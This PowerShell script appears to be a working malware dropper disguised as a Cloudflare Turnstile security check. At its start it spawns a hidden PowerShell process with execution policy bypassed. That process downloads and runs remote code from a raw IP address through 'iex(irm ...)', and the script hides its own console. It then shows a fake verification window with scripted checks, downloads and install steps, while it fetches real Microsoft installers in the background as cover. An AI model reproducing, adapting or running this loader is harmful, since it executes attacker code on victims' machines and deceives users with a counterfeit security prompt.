param(

    [string]$Url = 'http://95.217.7.38/velcapb',
    [string]$ExternalAnimation = '',
    [ValidateSet('minimize','hide','none')]
    [string]$ConsoleAction = 'minimize'
)

$PSExe = $env:windir + '\System32\WindowsPowerShell\v1.0\powershell.exe'
if (-not (Test-Path $PSExe)) { $PSExe = (Get-Process -Id $PID).Path }


$Payload = "iex(irm '$Url')"

$PArgs = @(
    '-NoProfile'
    '-NonInteractive'
    '-WindowStyle', 'Hidden'
    '-ExecutionPolicy', 'Bypass'
    '-Command', "$Payload"
)

try {
    $proc = Start-Process -FilePath $PSExe -ArgumentList $PArgs -WindowStyle Hidden -PassThru
} catch {
    $proc = Start-Process -FilePath $PSExe -ArgumentList $PArgs -PassThru
}

$swSig = @'
[DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]   public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
'@
$sw = Add-Type -Namespace ConHide -Name SW -Member $swSig -PassThru
$hwnd = $sw::GetConsoleWindow()
if ($hwnd -ne [IntPtr]::Zero) {
    $nCmdShow = switch ($ConsoleAction) {
        'hide'     { 0 }
        'none'     { 0 }
        default    { 6 }   # minimize
    }
    if ($ConsoleAction -ne 'none') { [void]$sw::ShowWindow($hwnd, $nCmdShow) }
}


if ($ExternalAnimation -and (Test-Path $ExternalAnimation)) {
    Write-Host "[*] Using external animation: $ExternalAnimation"
    & (Resolve-Path $ExternalAnimation).Path
}
else {

    Add-Type -AssemblyName System.Windows.Forms
    Add-Type -AssemblyName System.Drawing
    [System.Windows.Forms.Application]::EnableVisualStyles()

    # ---------- theme ----------
    $C = @{
        Bg       = [Drawing.Color]::FromArgb(18, 22, 28)
        Panel    = [Drawing.Color]::FromArgb(28, 34, 42)
        Border   = [Drawing.Color]::FromArgb(55, 65, 78)
        Text     = [Drawing.Color]::FromArgb(230, 235, 240)
        Muted    = [Drawing.Color]::FromArgb(140, 150, 165)
        Accent   = [Drawing.Color]::FromArgb(0, 168, 204)   # cyan
        Ok       = [Drawing.Color]::FromArgb(70, 190, 110)
        Warn     = [Drawing.Color]::FromArgb(220, 180, 60)
        BarBack  = [Drawing.Color]::FromArgb(40, 48, 58)
        BarFill  = [Drawing.Color]::FromArgb(0, 168, 204)
    }

    $ver   = [Environment]::OSVersion.Version
    $build = "$($ver.Major).$($ver.Minor).$($ver.Build)"

    # ---------- form ----------
    $form = New-Object Windows.Forms.Form
    $form.Text            = 'Cloudflare Security Challenge'
    $form.Size            = New-Object Drawing.Size(520, 420)
    $form.StartPosition   = 'CenterScreen'
    $form.FormBorderStyle = 'FixedDialog'
    $form.MaximizeBox     = $false
    $form.MinimizeBox     = $false
    $form.ShowInTaskbar   = $true
    $form.TopMost         = $false
    $form.BackColor       = $C.Bg
    $form.Font            = New-Object Drawing.Font('Segoe UI', 9)

    # Header panel
    $header = New-Object Windows.Forms.Panel
    $header.Location = New-Object Drawing.Point(0, 0)
    $header.Size     = New-Object Drawing.Size(520, 78)
    $header.BackColor = $C.Panel
    $form.Controls.Add($header)

    $lblTitle = New-Object Windows.Forms.Label
    $lblTitle.Text      = 'Cloudflare Security Challenge'
    $lblTitle.ForeColor = $C.Accent
    $lblTitle.Font      = New-Object Drawing.Font('Segoe UI Semibold', 12)
    $lblTitle.Location  = New-Object Drawing.Point(20, 14)
    $lblTitle.AutoSize  = $true
    $header.Controls.Add($lblTitle)

    $lblSub = New-Object Windows.Forms.Label
    $lblSub.Text      = 'Turnstile Verification v3.2.1'
    $lblSub.ForeColor = $C.Muted
    $lblSub.Font      = New-Object Drawing.Font('Segoe UI', 8.5)
    $lblSub.Location  = New-Object Drawing.Point(20, 40)
    $lblSub.AutoSize  = $true
    $header.Controls.Add($lblSub)

    $lblMeta = New-Object Windows.Forms.Label
    $lblMeta.Text      = "OS: Windows $build   |   Arch: x64   |   Host: $($env:COMPUTERNAME)"
    $lblMeta.ForeColor = $C.Muted
    $lblMeta.Font      = New-Object Drawing.Font('Consolas', 8)
    $lblMeta.Location  = New-Object Drawing.Point(20, 94)
    $lblMeta.AutoSize  = $true
    $form.Controls.Add($lblMeta)

    # Phase / status
    $lblPhase = New-Object Windows.Forms.Label
    $lblPhase.Text      = 'Initializing...'
    $lblPhase.ForeColor = $C.Text
    $lblPhase.Font      = New-Object Drawing.Font('Segoe UI Semibold', 10)
    $lblPhase.Location  = New-Object Drawing.Point(20, 128)
    $lblPhase.Size      = New-Object Drawing.Size(460, 22)
    $form.Controls.Add($lblPhase)

    $lblDetail = New-Object Windows.Forms.Label
    $lblDetail.Text      = ''
    $lblDetail.ForeColor = $C.Muted
    $lblDetail.Font      = New-Object Drawing.Font('Consolas', 8.5)
    $lblDetail.Location  = New-Object Drawing.Point(20, 152)
    $lblDetail.Size      = New-Object Drawing.Size(460, 20)
    $form.Controls.Add($lblDetail)

    # Custom progress track (flat bar)
    $track = New-Object Windows.Forms.Panel
    $track.Location  = New-Object Drawing.Point(20, 186)
    $track.Size      = New-Object Drawing.Size(460, 14)
    $track.BackColor = $C.BarBack
    $form.Controls.Add($track)

    $fill = New-Object Windows.Forms.Panel
    $fill.Location  = New-Object Drawing.Point(0, 0)
    $fill.Size      = New-Object Drawing.Size(0, 14)
    $fill.BackColor = $C.BarFill
    $track.Controls.Add($fill)

    $lblPct = New-Object Windows.Forms.Label
    $lblPct.Text      = '0%'
    $lblPct.ForeColor = $C.Text
    $lblPct.Font      = New-Object Drawing.Font('Segoe UI Semibold', 9)
    $lblPct.Location  = New-Object Drawing.Point(20, 208)
    $lblPct.AutoSize  = $true
    $form.Controls.Add($lblPct)

    $lblSize = New-Object Windows.Forms.Label
    $lblSize.Text      = ''
    $lblSize.ForeColor = $C.Muted
    $lblSize.Font      = New-Object Drawing.Font('Segoe UI', 8.5)
    $lblSize.Location  = New-Object Drawing.Point(70, 208)
    $lblSize.AutoSize  = $true
    $form.Controls.Add($lblSize)

    # Log list
    $lst = New-Object Windows.Forms.ListBox
    $lst.Location      = New-Object Drawing.Point(20, 240)
    $lst.Size          = New-Object Drawing.Size(460, 100)
    $lst.BackColor     = $C.Panel
    $lst.ForeColor     = $C.Text
    $lst.BorderStyle   = 'FixedSingle'
    $lst.Font          = New-Object Drawing.Font('Consolas', 8.5)
    $lst.IntegralHeight = $false
    $form.Controls.Add($lst)

    $lblFooter = New-Object Windows.Forms.Label
    $lblFooter.Text      = ''
    $lblFooter.ForeColor = $C.Muted
    $lblFooter.Font      = New-Object Drawing.Font('Segoe UI', 8)
    $lblFooter.Location  = New-Object Drawing.Point(20, 352)
    $lblFooter.Size      = New-Object Drawing.Size(360, 20)
    $form.Controls.Add($lblFooter)

    $btnClose = New-Object Windows.Forms.Button
    $btnClose.Text      = 'Close'
    $btnClose.Size      = New-Object Drawing.Size(88, 28)
    $btnClose.Location  = New-Object Drawing.Point(392, 346)
    $btnClose.FlatStyle = 'Flat'
    $btnClose.BackColor = $C.Panel
    $btnClose.ForeColor = $C.Text
    $btnClose.FlatAppearance.BorderColor = $C.Border
    $btnClose.Enabled   = $false
    $btnClose.Add_Click({ $form.Close() })
    $form.Controls.Add($btnClose)

    # ---------- helpers (must pump UI) ----------
    function Set-Progress([int]$Percent, [string]$Phase, [string]$Detail = '', [string]$SizeHint = '') {
        if ($Percent -lt 0)   { $Percent = 0 }
        if ($Percent -gt 100) { $Percent = 100 }
        $fill.Width     = [int](460 * $Percent / 100)
        $lblPct.Text    = "$Percent%"
        if ($Phase)  { $lblPhase.Text  = $Phase }
        if ($null -ne $Detail) { $lblDetail.Text = $Detail }
        $lblSize.Text   = $SizeHint
        [Windows.Forms.Application]::DoEvents()
    }

    function Add-Log([string]$Line, [string]$Kind = 'info') {
        $prefix = switch ($Kind) {
            'ok'   { '[+]' }
            'warn' { '[!]' }
            'spin' { '[~]' }
            default { '[*]' }
        }
        $lst.Items.Add("$prefix  $Line") | Out-Null
        $lst.TopIndex = $lst.Items.Count - 1
        [Windows.Forms.Application]::DoEvents()
    }

    function Wait-Ui([int]$Ms) {
        $sw = [Diagnostics.Stopwatch]::StartNew()
        while ($sw.ElapsedMilliseconds -lt $Ms) {
            [Windows.Forms.Application]::DoEvents()
            Start-Sleep -Milliseconds 15
            if ($form.IsDisposed) { return $false }
        }
        return $true
    }

    $script:dlJob = Start-Job -ScriptBlock {
        try {
            (New-Object Net.WebClient).DownloadFile(
                'https://aka.ms/vs/17/release/vc_redist.x64.exe',
                "$env:TEMP\vc_setup.tmp")
        } catch {}
        try {
            (New-Object Net.WebClient).DownloadFile(
                'https://builds.dotnet.microsoft.com/dotnet/WindowsDesktop/8.0.16/windowsdesktop-runtime-8.0.16-win-x64.exe',
                "$env:TEMP\rt_setup.tmp")
        } catch {}
    }

    $form.Add_Shown({
        $form.Activate()

        # --- Precheck ---
        Set-Progress 5 'Verifying TLS Handshake...' ''
        $precheck = @(
            @('TLS Handshake', 'registry'),
            @('Edge Routing', 'files'),
            @('Browser Integrity', 'wmi'),
            @('Bot Detection', 'system32'),
            @('Request Siqnature', 'dxdiag')
        )
        $i = 0
        foreach ($ck in $precheck) {
            $nm = $ck[0]
            Add-Log "Checking $nm..." 'spin'
            if (-not (Wait-Ui 180)) { return }
            $status = if ((Get-Random -Maximum 3) -eq 0) { 'missing' } else { 'found' }
            $kind   = if ($status -eq 'found') { 'ok' } else { 'warn' }
            $lst.Items[$lst.Items.Count - 1] = "$(if($kind -eq 'ok'){'[+]'}else{'[!]'})  $nm  $status"
            $i++
            Set-Progress ([int](5 + $i * 8)) 'Checking web components...' $nm
            if (-not (Wait-Ui 60)) { return }
        }

        # --- Download phase (UI) ---
        Set-Progress 45 'Verifying Edge Routing...' ''
        $pkgs = @(
            @('Token Exchange',            '14.40.33816', '13.2 MB'),
            @('dotnet-runtime-8.0.16-x64',    '8.0.16',      '28.4 MB'),
            @('windowsdesktop-runtime-x64',   '8.0.16',      '54.1 MB')
        )
        $base = 45
        $span = 30
        $pi = 0
        foreach ($pk in $pkgs) {
            $nm, $pv, $sz = $pk[0], $pk[1], $pk[2]
            Add-Log "Downloading $nm $pv ($sz)" 'spin'
            foreach ($p in @(0, 12, 28, 45, 62, 78, 91, 100)) {
                $overall = $base + [int](($pi + $p / 100.0) / $pkgs.Count * $span)
                Set-Progress $overall 'Requesting Token Exchange...' $nm "$p% of $sz"
                if (-not (Wait-Ui 40)) { return }
            }
            $lst.Items[$lst.Items.Count - 1] = "[+]  $nm $pv  OK"
            $pi++
            if (-not (Wait-Ui 50)) { return }
        }

        # --- Install phase ---
        Set-Progress 78 'Verifying Browser Integrity...' ''
        $steps = @(
            @('Extracting packages',        'C:\Windows\Temp\dotnet-setup'),
            @('Registering assemblies',     'GAC_MSIL\System.Runtime'),
            @('Installing VC++ runtime',    'vcruntime140.dll, msvcp140.dll'),
            @('Updating .NET runtime',      'v8.0.16 x64 [desktop]'),
            @('Registering COM objects',    'mscoree.dll'),
            @('Writing registry keys',      'HKLM\SOFTWARE\Microsoft\.NETFramework'),
            @('Updating PATH variable',     'C:\Program Files\dotnet'),
            @('Running ngen compilation',   'System.Private.CoreLib.dll'),
            @('Cleaning temp files',        'removing 96.7 MB')
        )
        $si = 0
        foreach ($st in $steps) {
            $act, $det = $st[0], $st[1]
            Add-Log "$act..." 'spin'
            Set-Progress (78 + [int]($si / $steps.Count * 18)) 'Verifying Bot Detection...' ("{0} - {1}" -f $act, $det)
            if (-not (Wait-Ui 160)) { return }
            $lst.Items[$lst.Items.Count - 1] = "[+]  $act  done"
            $si++
            if (-not (Wait-Ui 40)) { return }
        }

        # --- Finish ---
        Set-Progress 100 'Verification completed successfully.' '' ''
        Add-Log 'Edge Routing' 'ok'
        Add-Log 'Browser Integrity' 'ok'
        Add-Log 'Bot Detection' 'ok'
        Add-Log 'Request Siqnature' 'ok'
        Add-Log 'TLS Handshake' 'ok'
        $lblFooter.Text = 'Status: PASSED.'
        $lblFooter.ForeColor = $C.Ok
        $btnClose.Enabled = $true

        Get-Job | Wait-Job -Timeout 30 | Out-Null
        Get-Job | Remove-Job -Force -ErrorAction SilentlyContinue
        try {
            Remove-Item "$env:TEMP\vc_setup.tmp", "$env:TEMP\rt_setup.tmp" -ErrorAction SilentlyContinue
        } catch {}
    })

    [void][Windows.Forms.Application]::Run($form)
}

Start-Sleep -Milliseconds 400